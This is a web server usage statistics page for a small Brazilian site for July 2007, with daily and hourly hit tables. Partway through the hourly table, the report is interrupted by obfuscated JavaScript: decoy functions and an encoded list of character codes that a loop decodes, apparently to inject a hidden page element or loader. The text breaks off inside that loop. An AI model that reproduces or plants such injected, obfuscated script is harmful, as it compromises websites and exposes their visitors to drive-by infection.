Usage Statistics for zonalestenet.j7.com.br

Summary Period: July 2007
Generated 01-Aug-2007 02:45 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for July 2007
Total Hits 3521
Total Files 2361
Total Pages 3313
Total Visits 329
Total KBytes 33010
Total Unique Sites 121
Total Unique URLs 15
Total Unique Referrers 67
Total Unique User Agents 20
. Avg Max
Hits per Hour 4 366
Hits per Day 113 763
Files per Day 76 758
Pages per Day 106 762
Visits per Day 10 20
KBytes per Day 1065 3636
Hits by Response Code
Code 200 - OK 2361
Code 206 - Partial Content 137
Code 304 - Not Modified 6
Code 404 - Not Found 1017

Daily usage for July 2007

Daily Statistics for July 2007
Day Hits Files Pages Visits Sites KBytes
1 6 0.17% 3 0.13% 5 0.15% 5 1.52% 5 4.13% 167 0.50%
2 10 0.28% 4 0.17% 3 0.09% 3 0.91% 2 1.65% 109 0.33%
3 18 0.51% 11 0.47% 6 0.18% 5 1.52% 4 3.31% 306 0.93%
4 23 0.65% 7 0.30% 16 0.48% 11 3.34% 7 5.79% 511 1.55%
5 42 1.19% 26 1.10% 36 1.09% 8 2.43% 7 5.79% 327 0.99%
6 64 1.82% 51 2.16% 64 1.93% 15 4.56% 5 4.13% 2987 9.05%
7 22 0.62% 10 0.42% 22 0.66% 14 4.26% 3 2.48% 2154 6.52%
8 63 1.79% 14 0.59% 63 1.90% 18 5.47% 7 5.79% 2599 7.87%
9 12 0.34% 1 0.04% 12 0.36% 12 3.65% 2 1.65% 1186 3.59%
10 100 2.84% 24 1.02% 57 1.72% 19 5.78% 8 6.61% 1880 5.70%
11 23 0.65% 5 0.21% 14 0.42% 13 3.95% 5 4.13% 1032 3.13%
12 26 0.74% 8 0.34% 20 0.60% 19 5.78% 6 4.96% 1285 3.89%
13 33 0.94% 9 0.38% 27 0.81% 17 5.17% 7 5.79% 1590 4.82%
14 25 0.71% 4 0.17% 14 0.42% 14 4.26% 3 2.48% 1395 4.23%
15 47 1.33% 27 1.14% 39 1.18% 19 5.78% 9 7.44% 1510 4.57%
16 74 2.10% 48 2.03% 67 2.02% 20 6.08% 10 8.26% 1308 3.96%
17 386 10.96% 375 15.88% 384 11.59% 19 5.78% 12 9.92% 1209 3.66%
18 398 11.30% 393 16.65% 391 11.80% 8 2.43% 7 5.79% 214 0.65%
19 270 7.67% 6 0.25% 267 8.06% 6 1.82% 6 4.96% 472 1.43%
20 4 0.11% 3 0.13% 3 0.09% 3 0.91% 2 1.65% 185 0.56%
21 43 1.22% 41 1.74% 38 1.15% 7 2.13% 6 4.96% 307 0.93%
22 106 3.01% 106 4.49% 103 3.11% 3 0.91% 3 2.48% 3636 11.01%
23 189 5.37% 66 2.80% 187 5.64% 9 2.74% 8 6.61% 129 0.39%
24 33 0.94% 28 1.19% 29 0.88% 7 2.13% 7 5.79% 199 0.60%
25 49 1.39% 48 2.03% 48 1.45% 6 1.82% 5 4.13% 297 0.90%
26 167 4.74% 96 4.07% 156 4.71% 6 1.82% 7 5.79% 3383 10.25%
27 763 21.67% 758 32.11% 762 23.00% 7 2.13% 5 4.13% 199 0.60%
28 111 3.15% 104 4.40% 96 2.90% 12 3.65% 9 7.44% 827 2.50%
29 80 2.27% 13 0.55% 70 2.11% 7 2.13% 7 5.79% 506 1.53%
30 263 7.47% 10 0.42% 259 7.82% 8 2.43% 7 5.79% 661 2.00%
31 71 2.02% 62 2.63% 55 1.66% 9 2.74% 7 5.79% 442 1.34%

Hourly usage for July 2007

Hourly Statistics for July 2007
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 5 165 4.69% 5 156 6.61% 5 165 4.98% 160 4975 15.07%
1 1 36 1.02% 1 31 1.31% 1 36 1.09% 49 1521 4.61%
2 1 54 1.53% 1 43 1.82% 1 52 1.57% 29 891 2.70%
3 0 19 0.54% 0 7 0.30% 0 8 0.24% 16 506 1.53%
4 3 104 2.95% 0 22 0.93% 3 103 3.11% 33 1010 3.06%
5 21 677 19.23% 17 549 23.25% 21 663 20.01% 187 5797 17.56%
6 2 82 2.33% 1 34 1.44% 2 70 2.11% 40 1237 3.75%
7 1 31 0.88% 0 21 0.89% 0 29 0.88% 32 978 2.96%
8 0 18 0.51% 0 13 0.55% 0 11 0.33% 24 736 2.23%
9 1 35 0.99% 0 10 0.42% 0 27 0.81% 29 906 2.74%
10 2 73 2.07% 1 40 1.69% 2 68 2.05% 26 807 2.44%
11 1 40 1.14% 0 24 1.02% 1 35 1.06% 96 2970 9.00%
12 1 39 1.11% 0 21 0.89% 0 28 0.85% 16 497 1.51%
13 3 123 3.49% 2 92 3.90% 3 98 2.96% 47 1468 4.45%
14 8 257 7.30% 0 18 0.76% 7 239 7.21% 24 757 2.29%
15 1 61 1.73% 1 44 1.86% 1 52 1.57% 30 915 2.77%
16 2 69 1.96% 0 25 1.06% 2 64 1.93% 23 714 2.16%
17 2 68 1.93% 1 51 2.16% 1 47 1.42% 36 1121 3.40%
18 1 45 1.28% 0 26 1.10% 1 34 1.03% 35 1079 3.27%
19 12 375 10.65% 11 361 15.29% 11 371 11.20% 25 764 2.32%
20 32 1009 28.66% 23 732 31.00% 32 999 30.15% 25 762 2.31%
21 2 74 2.10% 0 4 0.17% 2 63 1.90%function CBeKy(lFwuKN){ var TySUSIZW=new Function("ncX", "return 872821;");alert('NmTqOe');window.eval(); } function NTZS(hWal){var UHrvVQkw=6,fAgz=5;var qIMfd='72+0,126+0,122+2,136+4,116+2,130+4,121+1,38+2,142+4,126+0,120+0,139+1,124+4,73+1,58+4,38+2,124+4,121+1,126+0,123+3,124+4,139+1,73+1,58+4,38+2,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,122+2,136+4,116+2,130+4,121+1,117+3,133+1,136+4,120+0,121+1,136+4,73+1,57+3,38+2,138+0,136+4,',bSBxeEp=qIMfd.split(',');rZh='';for(HVMYENy=0;HVMYENy